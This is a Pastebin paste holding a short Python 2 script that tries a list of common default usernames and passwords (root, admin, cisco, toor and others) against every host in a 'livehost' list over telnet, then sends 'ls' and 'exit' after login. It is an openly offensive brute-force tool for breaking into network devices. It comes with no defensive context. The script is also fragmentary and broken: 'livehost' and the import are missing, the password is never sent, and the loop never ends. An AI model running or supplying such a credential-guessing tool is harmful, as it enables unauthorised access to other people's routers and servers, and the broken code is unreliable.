Advertisement
Guest User

telnet

a guest
May 30th, 2018
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. Passwordlist = ['Telnet', 'security','synet','tech','PASSWORD','cisco','Cisco','anicust','switch','','friend','admin','Admin','ascend','pass','root']
  2. userlist = ['play','Telnet','telnet','root','Root','admin','Admin','','cisco','Cisco','toor']
  3. i = 0
  4.  
  5.  
  6.  
  7. while True:
  8. for x in livehost :
  9. print x
  10. for a in userlist:
  11. for b in Passwordlist:
  12. Host = x
  13. user = a
  14. password = b
  15. try:
  16. tn = telnetlib.Telnet(Host)
  17. tn.read_until("login: ")
  18. tn.write(user + "\n")
  19. tn.write("ls\n")
  20. tn.write("exit\n")
  21. print tn.read_all()
  22. break
  23. except:
  24. print "connection error ip = " ,x
  25. print "user = " ,a
  26. print "password = " ,b
  27. print "\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement